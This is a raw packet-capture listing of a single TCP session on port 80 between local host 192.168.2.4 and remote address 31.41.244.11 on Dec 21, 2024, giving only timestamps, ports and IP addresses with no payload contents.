Dec 21, 2024 18:16:14.368407965 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.368449926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.368520975 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.369391918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.369438887 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.369493008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.369538069 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.370452881 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.370496988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.370604038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.370646954 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.371539116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.371588945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.371679068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.371730089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.372571945 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.372615099 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.372694016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.372736931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.373619080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.373666048 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.373795986 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.373842955 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.374743938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.374804974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.374906063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.374958038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.375730038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.375778913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.375802994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.375844955 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.379391909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.379451990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.379906893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.379929066 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.379949093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.379972935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.380002022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.380047083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.380064011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.380088091 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.380110979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.380826950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.380845070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.380878925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.380894899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.381792068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.381819010 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.381844044 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.381859064 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.382850885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.382898092 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.383032084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.383078098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.383984089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.384001017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.384042025 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.384057999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.385094881 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.385112047 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.385152102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.385166883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.385660887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.385678053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.385711908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.385727882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.386336088 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.386396885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.386485100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.386534929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.387397051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.387501001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.387512922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.387562990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.388467073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.388518095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.388551950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.388598919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.389496088 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.389552116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.389591932 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.389641047 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.390741110 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.390793085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.390925884 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.390974998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.391666889 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.391726017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.391791105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.391841888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.395626068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.395689011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.395972967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.395992041 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396008968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396024942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396029949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396040916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396043062 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396053076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396078110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396102905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396692991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396743059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.396862030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.396904945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.397741079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.397758961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.397784948 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.397808075 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.398833990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.398876905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.398992062 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.399034977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.399925947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.399944067 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.399974108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.399990082 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.401089907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.401137114 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.401372910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.401422024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.402193069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.402209997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.402240992 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.402256012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.403073072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.403116941 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.539136887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.539165974 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.539197922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.539216995 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.539383888 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.539402962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.539433956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.539448977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.540333033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.540381908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.540422916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.540469885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.541717052 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.541765928 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.541817904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.541867971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.542491913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.542573929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.542587042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.542635918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.543478966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.543531895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.543623924 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.543673038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.544626951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.544684887 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.544764996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.544811010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.545636892 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.545698881 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.545732021 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.545778990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.546668053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.546715021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.546782970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.546828985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.547734022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.547784090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.547844887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.547890902 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.548819065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.548892021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.548894882 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.548942089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.549810886 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.549854994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.549918890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.549964905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.550892115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.550951958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.550988913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.551034927 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.551934958 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.551989079 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.552146912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.552194118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.553014040 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.553061962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.553169966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.553216934 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.554083109 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.554127932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.554208994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.554251909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.555113077 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.555165052 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.555219889 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.555265903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.556381941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.556437969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.556582928 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.556629896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.557575941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.557626963 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.557668924 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.557718039 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.558423042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.558478117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.558515072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.558562994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.559397936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.559468985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.559480906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.559528112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.560410023 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.560458899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.560632944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.560678959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.561491013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.561538935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.561609030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.561655045 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.562545061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.562594891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.562693119 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.562741995 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.563608885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.563658953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.563715935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.563760042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.564650059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.564703941 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.564745903 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.564786911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.565761089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.565810919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.565963984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.566014051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.566761017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.566819906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.566898108 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.566945076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.567852974 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.567913055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.567960024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.568006039 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.568905115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.568953037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.569004059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.569051981 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.569979906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.570050001 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.570060968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.570125103 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.571043015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.571089029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.571170092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.571224928 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.572076082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.572127104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.572160006 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.572206974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.573116064 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.573165894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.573432922 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.573481083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.574192047 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.574238062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.574330091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.574377060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.575262070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.575320959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.575331926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.575380087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.576280117 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.576327085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.576423883 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.576472044 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.577367067 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.577414989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.577452898 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.577498913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.578398943 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.578447104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.578567982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.578625917 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.579483032 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.579534054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.579571962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.579617977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.580568075 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.580610991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.580636978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.580651999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.581574917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.581619978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.581811905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.581856966 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.582628965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.582674980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.582788944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.582835913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.583712101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.583758116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.583782911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.583827972 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.584795952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.584840059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.584918976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.584960938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.585835934 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.585880041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.586034060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.586077929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.586930037 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.586946011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.586976051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.587007046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.587997913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.588057995 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.588087082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.588131905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.589008093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.589052916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.589193106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.589241982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.590148926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.590193033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.590253115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.590439081 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.591268063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.591319084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.591319084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.591362953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.592159986 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.592262983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.592278004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.592320919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.593225956 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.593266964 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.593295097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.593332052 CET	49770	80	192.168.2.4	31.41.244.11
